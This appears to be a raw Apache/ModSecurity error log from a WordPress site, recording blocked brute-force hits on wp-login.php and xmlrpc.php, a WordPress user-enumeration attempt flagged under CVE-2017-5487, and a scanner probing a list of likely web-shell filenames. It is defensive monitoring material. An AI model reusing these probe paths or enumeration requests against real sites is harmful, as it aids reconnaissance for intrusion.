[Wed Jan 14 09:10:58.993577 2026] [:error] [pid 19187:tid 19198] [client 61.244.204.54:56156] [client 61.244.204.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 61.244.204.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWbtIs9QVhFYhOfPPbPCzgAAAEY"]
[Wed Jan 14 09:19:32.227253 2026] [:error] [pid 19187:tid 19202] [client 106.219.166.195:14378] [client 106.219.166.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.166.195, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWbvJM9QVhFYhOfPPbPFJwAAAEo"], referer: https://vetstars.com.au/
[Wed Jan 14 10:06:42.624740 2026] [:error] [pid 37225:tid 37243] [client 91.245.210.195:51764] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.245.210.195, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWb6MuYdRPDSEpBLRUPYlgAAAQ8"]
[Wed Jan 14 11:02:49.018040 2026] [:error] [pid 37225:tid 37233] [client 185.237.252.236:38604] [client 185.237.252.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.237.252.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWcHWeYdRPDSEpBLRUPpYgAAAQU"]
[Wed Jan 14 12:04:41.751448 2026] [:error] [pid 19187:tid 19208] [client 84.247.191.234:53400] [client 84.247.191.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.191.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWcV2c9QVhFYhOfPPbPpQAAAAFA"]
[Wed Jan 14 12:44:53.951881 2026] [:error] [pid 37225:tid 37246] [client 182.42.110.255:44060] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWcfReYdRPDSEpBLRUMGvAAAARI"]
[Wed Jan 14 13:27:10.207685 2026] [:error] [pid 19189:tid 19257] [client 178.170.47.144:50520] [client 178.170.47.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.170.47.144, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWcpLnCsh382x04yx-04WAAAAco"]
[Wed Jan 14 13:59:32.803697 2026] [:error] [pid 61378:tid 61460] [client 95.163.228.179:53159] [client 95.163.228.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.163.228.179, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWcwxBGjJjuJmoPOtlr_AgAAABc"]
[Wed Jan 14 14:52:59.087064 2026] [:error] [pid 61377:tid 61421] [client 37.77.106.60:52620] [client 37.77.106.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.106.60, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWc9S8x0Xs4tcq6R-WgRZwAAAcs"]
[Wed Jan 14 17:43:42.258442 2026] [:error] [pid 21490:tid 21499] [client 43.130.53.252:49686] [client 43.130.53.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWdlTu26AHzy1muKyucl0wAAAQY"]
[Wed Jan 14 18:05:52.618315 2026] [:error] [pid 61378:tid 61448] [client 20.185.180.62:60428] [client 20.185.180.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.185.180.62, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWdqgBGjJjuJmoPOtloqGQAAAAs"]
[Wed Jan 14 19:16:32.386436 2026] [:error] [pid 61468:tid 61492] [client 106.54.62.156:34448] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWd7ENfEBBL2jp9TJvK1MAAAAJU"]
[Wed Jan 14 19:22:30.062307 2026] [autoindex:error] [pid 61468:tid 61471] [client 38.242.213.228:60563] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Jan 14 19:32:13.679911 2026] [ssl:error] [pid 61377:tid 61432] [client 35.88.54.178:44200] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Wed Jan 14 20:51:21.371063 2026] [:error] [pid 7961:tid 7987] [client 170.106.84.136:53894] [client 170.106.84.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWeRSZjhjzEJ3QX9HuYGOQAAAFg"]
[Wed Jan 14 22:44:10.476328 2026] [:error] [pid 61378:tid 61460] [client 35.226.125.165:40414] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.125.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWeruhGjJjuJmoPOtlpSgAAAABc"]
[Wed Jan 14 23:16:18.822806 2026] [:error] [pid 61377:tid 61423] [client 35.186.190.204:50361] [client 35.186.190.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.186.190.204, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWezQsx0Xs4tcq6R-WieUgAAAc0"]
[Wed Jan 14 23:16:22.638754 2026] [:error] [pid 61377:tid 61412] [client 35.186.190.204:50361] [client 35.186.190.204] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWezRsx0Xs4tcq6R-WieWgAAAcI"]
[Wed Jan 14 23:16:25.589350 2026] [:error] [pid 61377:tid 61421] [client 35.186.190.204:50361] [client 35.186.190.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.186.190.204, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWezScx0Xs4tcq6R-WieXQAAAcs"]
[Wed Jan 14 23:41:27.196783 2026] [:error] [pid 61376:tid 61384] [client 193.176.78.123:39522] [client 193.176.78.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.176.78.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWe5J6jRUNDW2YrxZG56kwAAAUM"]
[Thu Jan 15 00:57:55.985657 2026] [:error] [pid 25012:tid 25016] [client 43.134.186.61:47508] [client 43.134.186.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWfLEz-ru-9lIsqx5CnyiAAAAIE"]
[Thu Jan 15 00:58:40.029949 2026] [:error] [pid 23265:tid 23303] [client 195.26.251.124:54832] [client 195.26.251.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.26.251.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWfLQKMIMikX8ofnAA3cdwAAAAg"]
[Thu Jan 15 02:05:26.790965 2026] [:error] [pid 38487:tid 38492] [client 167.71.32.67:45486] [client 167.71.32.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.32.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWfa5nd6D7T-YuGPyi5B0QAAAYM"]
[Thu Jan 15 03:18:27.989690 2026] [:error] [pid 38522:tid 38540] [client 137.184.64.22:42834] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.64.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWfsA-2HBPsiOcuCCx2ZRAAAAc8"]
[Thu Jan 15 04:32:39.093982 2026] [:error] [pid 5290:tid 5315] [client 100.27.46.0:49258] [client 100.27.46.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 100.27.46.0, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWf9ZziQRfcmyoePXPeW2QAAABA"]
[Thu Jan 15 06:54:09.531920 2026] [:error] [pid 5389:tid 5397] [client 35.222.71.213:38368] [client 35.222.71.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.222.71.213, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWgekUkzfklDSWCNrVJZowAAAMY"]
[Thu Jan 15 08:02:09.468504 2026] [:error] [pid 5389:tid 5413] [client 195.26.251.124:57834] [client 195.26.251.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.26.251.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWgugUkzfklDSWCNrVJ3oAAAANY"]
[Thu Jan 15 08:21:25.518047 2026] [:error] [pid 51857:tid 51882] [client 40.69.66.178:2717] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfile.php"] [unique_id "aWgzBXDlXoqhkNNyf_xilgAAAVc"]
[Thu Jan 15 08:21:26.087962 2026] [:error] [pid 5291:tid 5348] [client 40.69.66.178:1719] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aWgzBjp5twZ54fay3Re6_AAAAFU"]
[Thu Jan 15 08:21:26.619760 2026] [:error] [pid 5389:tid 5392] [client 40.69.66.178:5915] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aWgzBkkzfklDSWCNrVJ-rAAAAME"]
[Thu Jan 15 08:21:27.156400 2026] [:error] [pid 51857:tid 51862] [client 40.69.66.178:11253] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aWgzB3DlXoqhkNNyf_ximgAAAUM"]
[Thu Jan 15 08:21:27.694880 2026] [:error] [pid 5389:tid 5406] [client 40.69.66.178:11187] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aWgzB0kzfklDSWCNrVJ-rQAAAM8"]
[Thu Jan 15 08:21:28.230699 2026] [:error] [pid 5290:tid 5310] [client 40.69.66.178:16283] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "aWgzCDiQRfcmyoePXPfiyQAAAAs"]
[Thu Jan 15 08:21:28.843240 2026] [:error] [pid 51807:tid 51828] [client 40.69.66.178:8994] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxxx.php"] [unique_id "aWgzCMMrH4_ge4gLwN1GCAAAARM"]
[Thu Jan 15 08:21:29.394181 2026] [:error] [pid 5291:tid 5333] [client 40.69.66.178:1700] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aWgzCTp5twZ54fay3Re6_QAAAEY"]
[Thu Jan 15 08:21:29.930277 2026] [:error] [pid 5292:tid 5369] [client 40.69.66.178:15156] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aWgzCWWxK-ai3L9DjxYm2AAAAI4"]
[Thu Jan 15 08:21:30.465935 2026] [:error] [pid 5291:tid 5334] [client 40.69.66.178:5199] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aWgzCjp5twZ54fay3Re7AgAAAEc"]
[Thu Jan 15 08:21:31.012643 2026] [:error] [pid 5291:tid 5341] [client 40.69.66.178:8994] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bras.php"] [unique_id "aWgzCzp5twZ54fay3Re7BgAAAE4"]
[Thu Jan 15 08:21:31.548100 2026] [:error] [pid 5291:tid 5348] [client 40.69.66.178:8101] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bras.php"] [unique_id "aWgzCzp5twZ54fay3Re7CAAAAFU"]
[Thu Jan 15 08:21:32.066271 2026] [:error] [pid 5290:tid 5303] [client 40.69.66.178:10749] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bras.php"] [unique_id "aWgzDDiQRfcmyoePXPfiygAAAAQ"]
[Thu Jan 15 08:21:32.580812 2026] [:error] [pid 5292:tid 5366] [client 40.69.66.178:11980] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bras.php"] [unique_id "aWgzDGWxK-ai3L9DjxYm3AAAAIs"]
[Thu Jan 15 08:21:33.122780 2026] [:error] [pid 51857:tid 51879] [client 40.69.66.178:2718] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/out.php"] [unique_id "aWgzDXDlXoqhkNNyf_xinwAAAVQ"]
[Thu Jan 15 08:21:33.641886 2026] [:error] [pid 5291:tid 5336] [client 40.69.66.178:16308] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/out.php"] [unique_id "aWgzDTp5twZ54fay3Re7CgAAAEk"]
[Thu Jan 15 08:21:34.159883 2026] [:error] [pid 51807:tid 51817] [client 40.69.66.178:11976] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/out.php"] [unique_id "aWgzDsMrH4_ge4gLwN1GCwAAAQg"]
[Thu Jan 15 08:21:34.709222 2026] [:error] [pid 51807:tid 51827] [client 40.69.66.178:1723] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/out.php"] [unique_id "aWgzDsMrH4_ge4gLwN1GDQAAARI"]
[Thu Jan 15 08:21:35.244598 2026] [:error] [pid 51857:tid 51863] [client 40.69.66.178:11971] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/flower2.php"] [unique_id "aWgzD3DlXoqhkNNyf_xioQAAAUQ"]
[Thu Jan 15 08:21:35.901042 2026] [:error] [pid 5290:tid 5308] [client 40.69.66.178:9161] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xeeex.php"] [unique_id "aWgzDziQRfcmyoePXPfiywAAAAk"]
[Thu Jan 15 08:21:36.423172 2026] [:error] [pid 5290:tid 5320] [client 40.69.66.178:2694] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aWgzEDiQRfcmyoePXPfizAAAABU"]
[Thu Jan 15 08:21:36.988909 2026] [:error] [pid 5292:tid 5378] [client 40.69.66.178:1677] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d996699999.php"] [unique_id "aWgzEGWxK-ai3L9DjxYm5AAAAJc"]
[Thu Jan 15 08:21:37.523253 2026] [:error] [pid 5389:tid 5410] [client 40.69.66.178:9167] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d996699999.php"] [unique_id "aWgzEUkzfklDSWCNrVJ-tAAAANM"]
[Thu Jan 15 08:21:38.060842 2026] [:error] [pid 5291:tid 5341] [client 40.69.66.178:9808] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d996699999.php"] [unique_id "aWgzEjp5twZ54fay3Re7DwAAAE4"]
[Thu Jan 15 08:21:38.596447 2026] [:error] [pid 5291:tid 5338] [client 40.69.66.178:16781] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d996699999.php"] [unique_id "aWgzEjp5twZ54fay3Re7EAAAAEs"]
[Thu Jan 15 08:21:39.126969 2026] [:error] [pid 5389:tid 5392] [client 40.69.66.178:5782] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xde.php"] [unique_id "aWgzE0kzfklDSWCNrVJ-uQAAAME"]
[Thu Jan 15 08:21:39.645693 2026] [:error] [pid 5290:tid 5302] [client 40.69.66.178:12023] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xde.php"] [unique_id "aWgzEziQRfcmyoePXPfi0QAAAAM"]
[Thu Jan 15 08:21:40.181791 2026] [:error] [pid 5389:tid 5409] [client 40.69.66.178:5228] [client 40.69.66.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xde.php"] [unique_id "aWgzFEkzfklDSWCNrVJ-uwAAANI"]
